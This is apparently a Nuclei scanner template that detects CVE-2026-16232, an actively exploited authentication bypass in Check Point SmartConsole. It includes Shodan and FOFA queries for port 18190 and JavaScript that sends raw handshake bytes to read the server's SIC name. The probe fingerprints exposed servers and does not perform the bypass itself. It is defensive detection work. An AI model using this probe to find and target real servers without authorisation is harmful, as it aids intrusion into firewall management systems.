id: CVE-2026-16232

info:
  name: Check Point Security Management Server - SmartConsole Authentication Bypass
  author: sfewer-r7,DhiyaneshDk
  severity: critical
  description: |
    An authentication bypass vulnerability in the Check Point SmartConsole login process allows an unauthenticated remote attacker to obtain an application login token and use it to authenticate with full administrative privileges. Successful exploitation allows the attacker to modify security policies and security configurations. Remote exploitation requires internet access to the Management Server IP address and a configuration that does not restrict Trusted Clients. Check Point is aware that this vulnerability is being exploited and has affected a very small number of customers.
  impact: |
    Unauthenticated remote attackers can gain full administrative access and modify security policies and configurations.
  remediation: |
    Update to the latest version with the vulnerability fixed.
  reference:
    - https://support.checkpoint.com/results/sk/sk185169
    - https://www.rapid7.com/blog/post/ra-check-point-smartconsole-authentication-bypass-technical-analysis-cve-2026-16232/
    - https://github.com/sfewer-r7/CVE-2026-16232
  classification:
    cvss-metrics: CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H
    cvss-score: 9.8
    cve-id: CVE-2026-16232
    epss-score: 0.72051
    epss-percentile: 0.99388
    cwe-id: CWE-287
  metadata:
    max-request: 1
    vendor: checkpoint
    product: security_management_server
    shodan-query: port:18190
    fofa-query: port="18190"
    verified: true
  tags: cve,cve2026,checkpoint,auth-bypass,smartconsole,network,js,kev,vkev

javascript:
  - pre-condition: |
      isPortOpen(Host, CpmiPort);
    code: |
      let net = require("nuclei/net");

      let addr = Host + ":" + CpmiPort;
      let conn = net.Open("tcp", addr);
      conn.SetTimeout(15);

      conn.SendHex("5900000000000041");

      let ackBytes = conn.RecvFull(4);
      if (!ackBytes || ackBytes.length < 4) {
        conn.Close();
        Export("error:no_ack");
      }

      if (ackBytes[0] !== 0x59) {
        conn.Close();
        Export("error:bad_ack_" + ackBytes[0]);
      }

      conn.SendHex("0000000e434e3d4775695f436c69656e74000000000100");

      let dnLenBytes = conn.RecvFull(4);
      if (!dnLenBytes || dnLenBytes.length < 4) {
        conn.Close();
        Export("error:no_dn_length");
      }

      let dnLen = (dnLenBytes[0] << 24) | (dnLenBytes[1] << 16) | (dnLenBytes[2] << 8) | dnLenBytes[3];

      if (dnLen <= 0 || dnLen > 1024) {
        conn.Close();
        Export("error:invalid_dn_len_" + dnLen);
      }

      let dnData = conn.RecvFull(dnLen);
      if (!dnData || dnData.length < dnLen) {
        conn.Close();
        Export("error:short_dn_data");
      }

      let dnStr = "";
      for (let i = 0; i < dnData.length; i++) {
        if (dnData[i] !== 0) {
          dnStr += String.fromCharCode(dnData[i]);
        }
      }

      let capsInfo = "";
      try {
        let countBytes = conn.RecvFull(4);
        if (countBytes && countBytes.length >= 4) {
          let capCount = (countBytes[0] << 24) | (countBytes[1] << 16) | (countBytes[2] << 8) | countBytes[3];
          if (capCount > 0 && capCount <= 20) {
            let caps = [];
            for (let i = 0; i < capCount; i++) {
              try {
                let capLenBytes = conn.RecvFull(4);
                if (!capLenBytes || capLenBytes.length < 4) break;
                let capLen = (capLenBytes[0] << 24) | (capLenBytes[1] << 16) | (capLenBytes[2] << 8) | capLenBytes[3];
                if (capLen <= 0 || capLen > 256) break;
                let capData = conn.RecvFull(capLen);
                if (!capData) break;
                let capStr = "";
                for (let j = 0; j < capData.length; j++) {
                  if (capData[j] > 31 && capData[j] < 127) {
                    capStr += String.fromCharCode(capData[j]);
                  }
                }
                if (capStr.length > 0) caps.push(capStr);
              } catch(e) { break; }
            }
            if (caps.length > 0) {
              capsInfo = " caps=" + caps.join(",");
            }
          }
        }
      } catch(e) {
      }
      conn.Close();
      Export("sic_dn=" + dnStr + capsInfo);

    args:
      Host: "{{Host}}"
      CpmiPort: "18190"

    matchers-condition: and
    matchers:
      - type: dsl
        dsl:
          - "success == true"
          - 'contains(response, "cn=cp_mgmt")'
        condition: and

    extractors:
      - type: regex
        name: sic-dn
        regex:
          - 'sic_dn=([^\s]+)'
        group: 1
# digest: 4a0a004730450220511a4b06222e7483d327e4e1e47ba12f613b043a4aec6ccc80c807339e2cc8ea022100bf9f896d3e72683f897ab0470fd7690df9dcc1bef667aaea4b0063b026449b55:922c64590222798bb761d5b6d8e72950